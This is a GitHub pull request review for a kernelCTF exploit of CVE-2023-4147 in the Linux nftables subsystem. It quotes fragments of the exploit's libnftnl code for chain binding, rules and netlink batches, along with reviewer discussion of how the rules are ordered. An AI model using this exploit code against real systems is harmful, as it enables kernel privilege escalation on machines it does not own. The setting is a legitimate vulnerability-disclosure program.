Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add kernelCTF CVE-2023-4147_mitigation #111

Open
wants to merge 3 commits into
base: master
Choose a base branch
from

Conversation

kevinrich1337
Copy link
Contributor

No description provided.

memset(rule_data, 'b', 0x100);

nftnl_rule_set_str(rules_victim2[i], NFTNL_RULE_TABLE, table2_name);
nftnl_rule_set_str(rules_victim2[i], NFTNL_RULE_CHAIN, chain_victim2_name);
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How do we add rule to the chain with NFT_CHAIN_BINDING flag without using chain ID (like in vulnerability) or like in rule_lookup_set1 and chain2_name?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We can add a rule to the chain with NFT_CHAIN_BINDING set before it is bound by an immediate expr.

Copy link
Collaborator

@artmetla artmetla Oct 3, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ok. Does that means that on the lines 279 - 300:

    struct nftnl_rule * rule_bind_chain_1_2 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_CHAIN, chain1_name);

    struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain2_name);
    nftnl_rule_add_expr(rule_bind_chain_1_2, expr_immediate);

    struct nftnl_rule * rule_lookup_set1 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_lookup_set1, NFTNL_RULE_TABLE, table1_name);
    // nftnl_rule_set_str(rule_lookup_set1, NFTNL_RULE_CHAIN, chain2_name);
    nftnl_rule_set_u32(rule_lookup_set1, NFTNL_RULE_CHAIN_ID, chain_id);

    struct nftnl_expr * expr_lookup = nftnl_expr_alloc("lookup");
    nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG32_00);
    nftnl_expr_set_str(expr_lookup, NFTNL_EXPR_LOOKUP_SET, set1_name);
    nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SET_ID, 1337);
    nftnl_rule_add_expr(rule_lookup_set1, expr_lookup);

and the lines 561 - 567:

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set1);
    mnl_nlmsg_batch_next(batch);

we could change the logic of exploit to firstly add the rule_lookup_set1 to chain2_name and then add the expr_immediate to actually bind the chain? Based on your previous comment seems like this would allow us to skip adding by ID but use the Name instead. I see that there is a commented line there which attempts to do same thing that I just described... If it's not possible could you explain why?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As you said, I think we can add a rule using the name by changing the order of the rules.

@@ -0,0 +1,12 @@
- Requirements:
- Capabilites: CAP_NET_ADMIN
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I see that some of the comments from PR#112 could be applied to PR#111 as COS and Mitigation exploits are similar. For example here there is a small nit picking on Capabilites --> "Capabilities". Could you check recommendations on PR#112 and synchronise changes between PR#112 and PR111 please?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants